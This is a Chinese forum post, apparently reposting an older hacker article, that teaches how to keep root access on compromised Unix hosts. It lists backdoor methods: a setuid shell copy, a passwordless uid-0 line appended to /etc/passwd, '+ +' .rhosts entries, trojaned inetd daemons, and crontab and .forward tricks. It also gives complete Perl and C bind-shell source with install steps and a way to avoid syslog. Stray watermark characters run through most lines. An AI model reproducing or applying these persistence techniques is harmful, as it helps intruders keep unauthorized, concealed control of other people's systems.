如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
" I; z; U! v9 {$ h) gArticle: backdoor from The Infinity Concept Issue II
+ Q# `& k/ B& s! b* O7 cSrc: b4b0.c by b4b0
8 M/ B5 e4 P, Y' D* N. [Src: daemonsh.pl by van Hauser / [THC] in 1997' - G1 Q8 u% Y9 ]0 R5 ]; N( B* d: J
! j2 |* E5 f8 }7 T/ q7 b9 u7 C
-- # L2 J, {) l' ?6 ]7 m9 |& ~/ I9 |3 }
- d# _! H1 V5 L3 N% X
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
: Y$ v' n  v+ p7 q7 z" Y-- + |( w; j0 Q0 `' {) X
创建后门的方法如下:
6 T5 ^" f4 J9 z5 |5 C- # w- H/ u/ z6 f' _; q
1. setuid
7 _3 P3 ~0 L) A' M+ {) Z( z#cp /bin/sh /tmp/.backdoor
; M. m! u5 K7 ]$ {8 T#chmod u+s /tmp/.backdoor + X: [6 D1 B; S, H* K9 `4 m, u
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; % M$ B; u; S. S2 x/ J, r
-
- ~1 T4 g, y: t$ Z! [4 l5 a, L2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; 7 k: C& U. e) p2 @# Y' R2 {, f
-
2 O  j) p7 Y4 p$ d5 w% `3.echo "+ zer9">>/.rhosts
+ [% V3 A2 c# b( A. u* |, F* U即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. 3 N0 _, i7 ]3 T- E$ @
前提是目标的port 512or513or514 opening. 8 D" J7 s+ D% _
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; + l: `& }7 n" y- Q3 ]
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; 7 `: Z8 A) H# ^: J# H
- / j- ?/ J+ W5 e+ K- n4 c$ [. `) K
4.modify sendmail.cf 增加一个"wiz" 命令; 4 t0 p/ J& W5 C. p, ]
usage: " o( d' @3 }! V! b+ S& N) B5 }
telnet target 25 [enter] ( q) S% x/ {( z! }  }  ^; N
wiz[enter]
! t+ J8 F; g* r  d# F这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞; . X  L. c3 @4 {: B0 w3 T
-
( _& Y! C% i6 l# o6 y; I8 _, w, c$ |* E5. crack suck as inetd,login,... " C  A8 ?  E9 I* x# _% P) C1 n4 \2 N
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,...
* `$ s! n7 `4 W" P+ B( J! _4 fhahhahha,我又做梦了:) & G7 f8 K' P# i' d
-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
( P/ `8 z7 C. W0 n-
5 `6 }8 {1 |9 K! d/ x& i' z6.ping rem0te backd00r
3 \  K1 A% Q) P. X即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度) * Z! n* U1 D8 J1 D6 v! `
- # [9 i& l9 B) y' o8 n
7.rem0te shell ' ~/ N5 Q2 y  |, L/ ^
我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现 " |* i) f9 k& n' y5 O# o
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. . Y. c4 v; O& p
bindshell的实现有两种:
! s' t  q$ Z" t- g' \. {a.
. c: _! x" {% o1 h# N9 Q% _; C- b* a替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell, 4 p7 }, F# o+ y6 c$ Y* ?
b. 接受 connect 后,在高端spam出一个shell; 5 i. J* G3 b) Z% F  y% D. U4 w4 |9 t
(更安全 :)
) J( p  ]6 k/ J8 k3 q5 W8 ?下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)
+ f/ v; A+ g7 `" U4 {--- ' K$ w/ Y! o7 j0 I/ z) i7 `
perl 版安装方法: ; {! Y+ E% p# N* v
###无须编译!!只要目标机上有perl支持就okay!
3 I9 J+ o/ I0 e& R) l如何判断有无perl: $/>perl [enter]
  G2 `* H1 Z* a0 g( H, m
, ^8 i9 j" p% |: u" u[ctrl-c] & [# _# f  X' {, z5 ^
$/>
) F1 p9 A( v) F( j-
8 N0 b( Y% |1 o# }如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 $ w2 w4 B8 j, u0 S* g
的方法有很大的危险性, exit(-1) please; : @5 z8 X, G, j: ?
-
' S+ |9 |( \+ }" c& D0 y首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
+ u1 J+ `: H  F3 F) g8 Imv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
, \3 p3 U6 L  d; N5 `+ \, x$ Zcp in.rexecd /usr/sbin/in.rexecd + ^3 Q# c& i' W9 i) D
然后 ps -aux|grep inetd;kill -HUP id(by inetd); ) N- I% R& f. Y) j  A
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
9 o, t4 r# ~8 j: V# }-
% ]0 ^- M1 {, J& N' |Usage: nc target (such as 512)
" L0 v  h3 a, z* Z" k4 \- \[enter] & m& z; h0 A8 J9 {
ur passwd [enter] # W; j! J& v* u% z; O
(then u login in...:) 6 _0 `; X* C  y) P) I3 R# ^
& ?: x0 G& w& M  F
----Cut Here------------------------------------------ 5 }- g, X, m9 n4 E
& r# i$ T, v6 M8 u7 m; m
#!/usr/bin/perl
6 j2 E' @0 M& Y% t+ b2 c* f9 h#
( k/ L0 j2 G7 o, d# BEST 1 ^" F7 \: _0 s
# SIMPLE
" p7 @8 C  d) K, K+ y( f$ F. W# rem0te bind shell ' e. U3 n: R4 w' b; H/ f
#[perl version only tcp] ) |$ b; s( Y4 S4 ]) K. k2 |
# by 8 ~/ ^: L1 y& D
# zer9[FTT]
' G7 M: U( K  M/ Q/ m! ?# zer9@21cn.com
& \0 p7 Y0 V. N. x9 l& ]* f#passed on allmost unix 8 g4 q4 U4 B. P
#greet to:van Hauser/[THC]
2 J5 `6 c/ d% g' q8 T( P4 X# for his daemonshell.pl
  L; \) H5 `% j, t. [4 Y# ) C$ B  n/ c' a1 n5 e6 u& {2 i. {
$SHELL="/bin/csh -i"; ( H# D8 t% A* s2 r7 ^5 y9 L; o
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
, J6 m% C  H  c- \' A; |1 j$PASSWORD="BifqmATb6D5so"; 6 ]" c$ c& p' g

* w5 p* E7 C8 |/ f7 N( m9 ?* u, pif ($PASSWORD) { 7 l" M( i3 E5 C* L
chop($pass=); 7 d' \0 I5 B9 u) \- n% |
if (crypt($pass, $PASSWORD) ne $PASSWORD) { 0 ]) n5 k1 P( m  b7 o! i6 u: k
exit 0;
8 F5 O4 H. k; S3 N8 _. ~} 9 c0 s+ r: |( D3 S& j) i
exec $SHELL ;
- ~9 v+ v0 Y3 m4 G# P4 Aexit 0;
  T6 I6 c9 r4 h* H- q3 a% Z}
" ^0 S5 M. w$ i/ j& J6 [
- C9 L6 A3 |1 A/ h" ?3 `% x9 t----Cut Here--------------------------------------------
) d) f1 S  F7 i  n0 j% n: i3 M+ N6 k2 G& l! [- J3 s
' O1 W; M! Z; K5 Q4 c

$ w; a! z1 [% o' s1 C# ]6 v$ `# N8 R- Q  _( ?; U9 V
下面是一个for gnuc 的bindshell,first cut it,save as
0 P% d  Z# S/ e: |, W: k1 dbackdoor.c ,then cc backdoor.c -o backdoor
0 h! A: T9 Q  R. i7 f% n; ~+ ^3 oother action just l1ke before;
% p. f1 _" U5 B, xUsage: (exp:binding to in.rlogind (513)) 7 l$ r* Z6 Y; b! R" Q) ^' |
nc target 513 //spam a shell on the high port;
- @+ b* e1 {& R+ H2 V5 unc target 54321 , d% [5 C  C$ j, [3 A' ?: _
ur passwd ; p* Z# ]# {4 B. S4 m9 V$ R
(then u coming in...)
0 O3 F8 W# O5 J( r# w3 Y+ x3 u' D! u/ ~# u
: u: }( q; {. y' V* X. H3 Z
----Cut Here------------------------------------- ; a: I1 M# ~1 c* P1 Q, C
0 C) Z2 j" B  i9 E4 O2 @
/* ( x$ L! @) ~2 X: E3 b  X% n2 o
* [ b i n d - s h e l l ]
1 |# k& P4 u0 O  }! \$ Y, y9 B6 ^) }* by , N3 \4 V/ @6 y- S
* zer9[FTT] 7 ]" H/ v9 I: m! e. V$ k
* zer9@21cn.com + r' k, b$ \( |! t0 j
*test on slackware 2.0.33&irix6.4(cc) : g# c* t% d# _! ~4 ?" d9 Q+ p& g
*cc backdoor.c -o backdoor ) Q  J* |- f: |3 K
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
& I: w& K% P" O! z*c0mm4nd l1n3: backdoor [port]
" Y1 I( d9 k% k0 T7 P  l: Y) B*d3fault p0rt 1s: 54321
6 {7 t9 X. @5 ^) T$ j6 ?*greets to b4b0 for his b4b0.c $ K. {3 e  ~9 X2 w- Q. o
*m4yb3 1 c0uld s4y:
& d2 R8 `" n- J2 b*"0k,b4b0.l1st3n c4r3fully;"
2 r% |# y+ ~5 L. |$ ^' Z) q*s0rry,just a joke.
  c! R- k6 N- i0 _* ; p* s& q- J' v. d
*/ : D, q- Z( B3 T& l9 L- |
8 r# D0 H7 V% w# J" H/ Y4 j* N* n5 B
#include
8 W. q& O9 j9 x  h3 ?9 d#include ( O" A, O# L$ G# M
#include : l0 V3 @) I9 T9 D* `! X
#include
# s$ s) \$ w3 {/ C; U0 N, x#include
  D; e; e' }& V0 z#include 7 y" D" t) e1 j
#include
% k, Q, J* S; |! A! z+ ^0 F
) }" A" c  C) ]! m+ S3 e: e: W5 L3 q) X" J9 J
#define PassWord "k1n90fth3w0rld" ) O: Z6 n; p9 f3 {2 a- O
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
1 g% [( S; A7 Z, x1 h. u/ L" I, b
#define DefaultPort 54321
/ b4 ?& l; v. t) ?- i& w; B- p/* d3f4ult b1nd1ng p0rt */
2 D: w$ `6 l5 I9 s  T/ e1 A
2 h) {6 F( O4 q9 Mint main(int argc,char **argv) 7 `" g" t1 Q7 J# `& Z1 U0 z4 q0 h
{
# Z! [- ?4 N6 c; E7 C) qint s,in_s;
8 F! |2 M; U1 R$ Ostruct sockaddr_in server,client;
' P; g7 `8 w# _# N' v# zint client_len,bindport; 8 P; S* b/ |) x  e
char recvbuf[1000]; * c5 h2 F5 p/ g3 i+ t/ `. X
* i% G7 s' x& r! V% Y9 p: v
if(argc!=2) bindport=DefaultPort;
! h& r' `1 P& f6 Eelse 4 w; }; o- C$ l( r/ ~2 N
bindport=atoi(argv[1]);
( n: k: l( L  \4 S7 j+ N/ F- ?2 Y$ u* oif((s=socket(AF_INET,SOCK_STREAM,0))<0) $ A* ^/ x2 j' H& `" L6 p
{
3 @' m! g& q$ [3 N; Mperror("socket");
& k% s6 j( u8 w9 N) O$ l; ]return -1; 4 ~" C5 u- o& W+ ~* X5 F8 P' @  E
} # k2 E1 i& |0 j5 V$ P0 |
bzero((char *)&server,sizeof(server));
! R1 M; o6 s+ F+ v: V' A# J$ Jbzero((char *)&client,sizeof(client));
/ P6 f7 x$ h6 E0 `3 g& hbzero(recvbuf,sizeof(recvbuf));
, n) d& b4 g1 `' _4 Q" x: xserver.sin_family=AF_INET;
9 H" ?3 Q, f* s& S- P; userver.sin_port=htons(bindport); # l! s, t3 ~. u& H
server.sin_addr.s_addr=INADDR_ANY;
" v8 W1 f$ q* Y" M0 Eif(bind(s,(struct sockaddr *)&server,sizeof(server))<0) % ]& ?0 Y0 J' k  l
{
7 H7 F# @0 D! Zperror("bind");
; u0 u0 K$ a3 s5 s! Lreturn -1; / V1 |! r- |5 Y) ?2 r1 J- @
} : d- u) {- a5 q+ n
if(listen(s,3)!=0) . e! W1 Y) A, g' s9 B& A
{
0 G, t2 U3 |; y  y7 Iperror("listen"); 8 m' O, W4 u9 y  w. L
return -1;
, C8 g7 B5 ^9 P" I& @% n2 V' \}
5 f/ r4 H2 Z2 h9 gclient_len=sizeof(client);
# h( L3 ]% ]9 J" n  i# E( Oif((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) 3 J& v4 J9 d) i4 }! H
{
9 n4 d; Z/ N; k: ?3 f& V) Nperror("accept"); 0 h( ]/ o1 ^  q( @: J7 \5 r
return -1; & j- u) k6 P) v  t7 K! w- u/ g( s
} ( I; v# Z, \) r9 s! F) b0 o
recv(in_s,recvbuf,sizeof(recvbuf),0);
0 N/ U9 I9 S6 Isleep(1); # Q* r, g* N( D+ Q/ U+ {: C
if((strlen(recvbuf)-1)==strlen(PassWord)) 2 O8 V5 _9 ?$ @! G
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
, E( n% z* o! H" J{
7 i8 ?" }* A8 Q" o0 wsend(in_s,"0k4y! c0m1ng 1n...\n",25,0);
! U5 M, ~( Y0 q) ]8 Hclose(0);close(1);close(2); ) z6 ^6 i  P5 \4 X/ m
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
( |4 g8 I& ?: k- q6 T* texecl("/bin/csh","/bin/csh",(char *)0); ( l/ {, K9 u5 {" z6 e9 u: |
}
+ s. t: [6 K$ M; X/ p9 Fclose(s);
8 c, E: n  a1 M( l1 Jclose(in_s); / V; K: j+ L- _* |8 y  R
return 0; 0 A/ I3 F' ]$ P$ @9 c. _
} & J6 b' L" P' Y. E

+ B9 \& Q" q: |  d----Cut Here-------------------------------------------------
& T- o+ K/ F  d4 Z5 ^* a
+ Y4 X2 ]9 ~  ]- j( |' P用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入:
; h9 G  H# }* ?4 ?) {! |6 H! D% vbackdoor & 1 Q/ C8 [7 s. @. S' R; |' ~
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
2 O$ [# \& a5 W/ l% K--
8 R, Z' E, s& `) `3 E! h# A8.第八种武器就是 crontab   c6 l9 b$ _$ b: X8 g
我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) : ?( b$ C# S$ w3 O! Y& `9 e
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍; # m4 V- r3 u7 T
-- . W  h6 L' e: S% i0 c' M/ p
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。
  w* G6 f( u$ @1 p9 K7 I--
0 h2 w7 v4 T# ?: h7 u0 r10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;
# H& a( u& P, n$ h' ?- r-- 3 t& [) t, D( Y" X
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
* t* d4 F$ f4 K& D$ w
4 Z6 X; A0 Q2 t/ U
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关注公众号

相关侵权、举报、投诉及建议等,请发 E-mail:admin@discuz.vip

Powered by Discuz! X5.0 © 2001-2026 Discuz! Team.|鲁ICP备19052200号-1

在本版发帖
关注公众号
QQ客服返回顶部